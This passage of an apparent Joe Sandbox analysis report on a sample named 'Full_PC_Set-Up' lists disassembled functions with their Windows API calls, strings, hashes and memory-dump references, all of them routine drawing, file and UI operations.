Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Resource$FindLoad
String ID: G$N$P$PNG
API String ID: 2619053042-1416769634
Opcode ID: a095de222e477370552acf2f087cccf2813b102b67d6303e08858a24aa2b043c
Instruction ID: db9cf7b49e9d20d3f474e43c8a1fff693864ce1d34e1d7ab1455070ab7ae0f23
Opcode Fuzzy Hash: a095de222e477370552acf2f087cccf2813b102b67d6303e08858a24aa2b043c
Instruction Fuzzy Hash: 6E110463D092715AC3228B7C9C0C86BAFA4EBC3662F0A456AF88597180CB64CC0493E2

Function 004A029F Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004A02A6

Part of subcall function 00376659: EnterCriticalSection.KERNEL32(0060EBD0,00000000,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 00376693
Part of subcall function 00376659: InitializeCriticalSection.KERNEL32(?,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 003766A5
Part of subcall function 00376659: LeaveCriticalSection.KERNEL32(0060EBD0,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4,00000000), ref: 003766B2
Part of subcall function 00376659: EnterCriticalSection.KERNEL32(?,00000000,?,?,?,0037009E,00000010,00000008,0036B4EE,0036B491,00362ED4,00368B2D,?,0036337C,?,003699D4), ref: 003766C2

GetProfileIntW.KERNEL32(windows,DragScrollInset,0000000B), ref: 004A02F6
GetProfileIntW.KERNEL32(windows,DragScrollDelay,00000032), ref: 004A0305
GetProfileIntW.KERNEL32(windows,DragScrollInterval,00000032), ref: 004A0314

Strings

l#S, xrefs: 004A02BD
DragScrollDelay, xrefs: 004A02FA
DragScrollInterval, xrefs: 004A0309
DragScrollInset, xrefs: 004A02EB
windows, xrefs: 004A02F0, 004A02F5, 004A02FF, 004A030E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CriticalSection$Profile$Enter$H_prolog3InitializeLeave
String ID: DragScrollDelay$DragScrollInset$DragScrollInterval$l#S$windows
API String ID: 4229786687-1143339274
Opcode ID: af1c6e6d9405995002a2bc7a75aa53a07d1a1eb60038e979d7154d318e0118d0
Instruction ID: 26d19c6ca47cb6898aeb036c6217cdd1efa818e7cc6dcc61056fa89acb397a23
Opcode Fuzzy Hash: af1c6e6d9405995002a2bc7a75aa53a07d1a1eb60038e979d7154d318e0118d0
Instruction Fuzzy Hash: 8801A7F0580B019ADB21AF269D42B49BBE9BF54700F40991BF1045B692CBF85540CF08

Function 002DA350 Relevance: 15.2, APIs: 10, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(00000000,00000000,?,?,00000000), ref: 002DA35A
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 002DA378

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$HandleInformationType
String ID:
API String ID: 4064226416-0
Opcode ID: 30bf25789515b7f0df989ce21077c9d8bab7825ab63e17de73ac45175acff5aa
Instruction ID: 137ea48b4ed11e850ae721da9c41eac43753e2886cf8ebd6c33e3111a938d305
Opcode Fuzzy Hash: 30bf25789515b7f0df989ce21077c9d8bab7825ab63e17de73ac45175acff5aa
Instruction Fuzzy Hash: 7051AB716193015BE320DE59DC88F6BB7E9EBC4700F14482EFA8187390E6B4ED548BA7

Function 0029EA90 Relevance: 15.2, APIs: 10, Instructions: 174COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 0036BA22: OffsetWindowOrgEx.GDI32(?,?,5EBD7D5F,?,?,?,?,0029C9F0,?,00000000,00000000,00000000,00000001,?,5EBD7D5F), ref: 0036BA43
Part of subcall function 0036BA22: OffsetWindowOrgEx.GDI32(?,?,5EBD7D5F,?,?,?,?,0029C9F0,?,00000000,00000000,00000000,00000001,?,5EBD7D5F), ref: 0036BA56

Part of subcall function 0036B6DD: GetClipBox.GDI32(?,?), ref: 0036B6E8

Part of subcall function 003A5630: CreateCompatibleDC.GDI32(?), ref: 003A56A7
Part of subcall function 003A5630: CreateCompatibleBitmap.GDI32(?,?,?), ref: 003A56C7
Part of subcall function 003A5630: SelectObject.GDI32(00000000,?), ref: 003A56E1

GdipCreateFromHDC.GDIPLUS(?,00000000,?,?,?,?,00000000,00000000,00000000,?,5EBD7D5F), ref: 0029EB40
GdipSetSmoothingMode.GDIPLUS(00000000,00000004,?,00000000,?,?,?,?,00000000,00000000,00000000,?,5EBD7D5F), ref: 0029EB54
GetClientRect.USER32(?,?), ref: 0029EB6A
GdipCreateLineBrushFromRectI.GDIPLUS ref: 0029EBDA
GdipFillRectangleI.GDIPLUS(00000000,00000000,FFE8E8E8,FFE8E8E8,?,?), ref: 0029EC05
GdipCreatePen1.GDIPLUS(FFA5ACB5,?,00000000,00000000,00000000,00000000,FFE8E8E8,FFE8E8E8,?,?), ref: 0029EC2C
GdipDrawLineI.GDIPLUS(FFFAFAFA,00000000,FFFAFAFA,?,?,?), ref: 0029EC59
GdipDeletePen.GDIPLUS(00000000,FFFAFAFA,00000000,FFFAFAFA,?,?,?), ref: 0029EC7E
GdipDeleteBrush.GDIPLUS(00000000,00000000,FFFAFAFA,00000000,FFFAFAFA,?,?,?), ref: 0029EC84
GdipDeleteGraphics.GDIPLUS(?,00000000,00000000,FFFAFAFA,00000000,FFFAFAFA,?,?,?), ref: 0029EC8E

Part of subcall function 0036C01A: __EH_prolog3.LIBCMT ref: 0036C021
Part of subcall function 0036C01A: EndPaint.USER32(?,?,00000004,00297BFF,?), ref: 0036C03C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Create$Delete$BrushCompatibleFromH_prolog3LineOffsetPaintRectWindow$BeginBitmapClientClipDrawFillGraphicsModeObjectPen1RectangleScrollSelectSmoothing
String ID:
API String ID: 1764379601-0
Opcode ID: 59c36b1aeef4803906410dc5ef533d6770fd064319f4daf7ece152f993139760
Instruction ID: 5fbd5b5b07cdaac0588790569a4ccd6783e99441e28311bac61a668e6b4e5c12
Opcode Fuzzy Hash: 59c36b1aeef4803906410dc5ef533d6770fd064319f4daf7ece152f993139760
Instruction Fuzzy Hash: D46127B1108341AFD765DF64C881AABB7E8FFC9710F544A1DF99987290DB70E904CB62

Function 002BF180 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

GdipGetImageWidth.GDIPLUS(?,5EBD7D5F,00000000,?,000000FF), ref: 002BF2A9
GdipGetImageHeight.GDIPLUS(?,5EBD7D5F,?,5EBD7D5F,00000000,?,000000FF), ref: 002BF2DD
GdipGetImageHeight.GDIPLUS(?,00000000,?,5EBD7D5F,?,5EBD7D5F,00000000,?,000000FF), ref: 002BF30B
GdipGetImageWidth.GDIPLUS(?,?,?,00000000,?,5EBD7D5F,?), ref: 002BF330

Strings

single.Lock fail, xrefs: 002BF1D8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: GdipImage$HeightWidth
String ID: single.Lock fail
API String ID: 87155632-3362914489
Opcode ID: c980926cb9ef1063868fc66fc8dd5f248eedb301151a79f777d5170869ed00fc
Instruction ID: 12f44044eada84398517093793b4ae5fc52a33207da064302269f4668260f2c9
Opcode Fuzzy Hash: c980926cb9ef1063868fc66fc8dd5f248eedb301151a79f777d5170869ed00fc
Instruction Fuzzy Hash: 5D7180752083419BC350DF68C981B5BBBE5FFC8764F184A2DF85897291E770E904CB92

Function 002ECD60 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ECE76
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ECE84
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ECEFF
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 002ECF17
SendMessageW.USER32(?,00000408,00000000,00000000), ref: 002ECF47
SendMessageW.USER32(?,00001501,00000000,?), ref: 002ECF5C
SendMessageW.USER32(?,00000402,00000064,00000000), ref: 002ECF70

Strings

%02d:%02d:%02d, xrefs: 002ECDCD, 002ECEC0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: %02d:%02d:%02d
API String ID: 3572938186-3862977440
Opcode ID: 787f848179fcb3306525e937c032fb5b831a3186857b3125f6c90059df7ed07e
Instruction ID: e5cb04008171d7fe11cdca76b147e1f00cf8c3ad281ff8cc3045de36155b11c9
Opcode Fuzzy Hash: 787f848179fcb3306525e937c032fb5b831a3186857b3125f6c90059df7ed07e
Instruction Fuzzy Hash: 7351B471240B01ABD318EB78CC46F67B7AAEBC4710F548A1CF5679B2D5DA74F8058760

Function 002F6A00 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 168filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F6A53
_memset.LIBCMT ref: 002F6A70
GetTempPathW.KERNEL32(00000104,?,?,?,?,5EBD7D5F,00000000), ref: 002F6A82
lstrcpyW.KERNEL32(?,?), ref: 002F6B57
GetTempFileNameW.KERNEL32(?,`!@,00000000,?,?,00000001,?,?,?,?,5EBD7D5F,00000000), ref: 002F6B70
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,5EBD7D5F,00000000), ref: 002F6BAF
DeleteFileW.KERNEL32(00000000,?,?,?,5EBD7D5F,00000000), ref: 002F6BB8

Strings

`!@, xrefs: 002F6B66

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$Temp_memset$AttributesDeleteNamePathlstrcpy
String ID: `!@
API String ID: 1601716654-1305822785
Opcode ID: c44d1e1b6ae76bfa57faa44dd8ca879b94fda906c6885d01723e9a2131cb9c20
Instruction ID: e4b2c651b5555f4b5ffb19c2edd6a6789f6a38066c9f14a6e5447358296e0447
Opcode Fuzzy Hash: c44d1e1b6ae76bfa57faa44dd8ca879b94fda906c6885d01723e9a2131cb9c20
Instruction Fuzzy Hash: 2251AEB11047419FD310DF68C889EAAB7E8EFD8314F548A2DF1958B2A1DB30A919CB56

Function 002D6DC0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 157windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D6E07
GetDC.USER32(?), ref: 002D6E15
GetWindowRect.USER32(?,?), ref: 002D6E39

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

Part of subcall function 0036FF51: SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 0036FF5D

SendMessageW.USER32(?,00001207,00000000,?), ref: 002D6E66
FillRect.USER32(?,0000000A,?), ref: 002D6EE0
ReleaseDC.USER32(?,?), ref: 002D6F35

Strings

There are no items to show in this view., xrefs: 002D6EA1
O, xrefs: 002D6F44

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$ClientRectScreen$FillReleaseWindow
String ID: There are no items to show in this view.$O
API String ID: 147327921-3402010011
Opcode ID: cfb1a67c63d2809a7e9f8cae9d6e516df05683dc44f7fd5c1402fc3cffd50eed
Instruction ID: 563bba23c7239737a1564eba827c4b027a4d82076bf87ec001bbab8a58c45cf7
Opcode Fuzzy Hash: cfb1a67c63d2809a7e9f8cae9d6e516df05683dc44f7fd5c1402fc3cffd50eed
Instruction Fuzzy Hash: 63517871204702AFD704DF68C885E6AB7E8FF8C714F144A1DF6998B391DB74E9018BA6

Function 003A8160 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003A817D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 003A81B2
_malloc.LIBCMT ref: 003A81D4

Strings

, xrefs: 003A81B8
(, xrefs: 003A8189

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Bits_malloc_memset
String ID: $(
API String ID: 4047964865-55695022
Opcode ID: a6557f01b022c6cf88d1328be1e99b8df62d774bed080d01b7a5215e3f4690c9
Instruction ID: 8f521f14ecdcdb7939accc6281581261c2b9b2b5769c54601dd7bd329e275600
Opcode Fuzzy Hash: a6557f01b022c6cf88d1328be1e99b8df62d774bed080d01b7a5215e3f4690c9
Instruction Fuzzy Hash: D241B6B26043016BE721EF68DC86B77B7E8EF45700F544829F984DB240FBB1E9548792

Function 002EC850 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 129COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 002EC8C3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC900
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC929
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC957

Strings

%.2f GBs, xrefs: 002EC919
%.2f MBs, xrefs: 002EC946
%.2f KBs, xrefs: 002EC974
%I64d Bytes, xrefs: 002EC97E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 404621862-3509155508
Opcode ID: 6b1369dcc0362b58c9f75f6d30e71ade05bdc3c5f77e952ced17908d4dcfb2b3
Instruction ID: 68416168fc37b92d26983c49dae151609c91ade9c570522f9f76441d423f3986
Opcode Fuzzy Hash: 6b1369dcc0362b58c9f75f6d30e71ade05bdc3c5f77e952ced17908d4dcfb2b3
Instruction Fuzzy Hash: 8E410431254B009FD310EB79CC82B6AB7E8FB85724F604B1DF1A9D7291DB70A8158756

Function 002EB1C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 124COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 002EB233
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB26A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB293
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB2C1

Strings

%.2f GBs, xrefs: 002EB283
%.2f MBs, xrefs: 002EB2B0
%.2f KBs, xrefs: 002EB2DE
%I64d Bytes, xrefs: 002EB2E8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 404621862-3509155508
Opcode ID: f2efb82ae26b6d42f5f77ed83ac8107df303449c678c603758be9a56f6527227
Instruction ID: 655721b340817d9359eb6c5f47cbb2e82efabbe9c19fbeea0062af3a199b5478
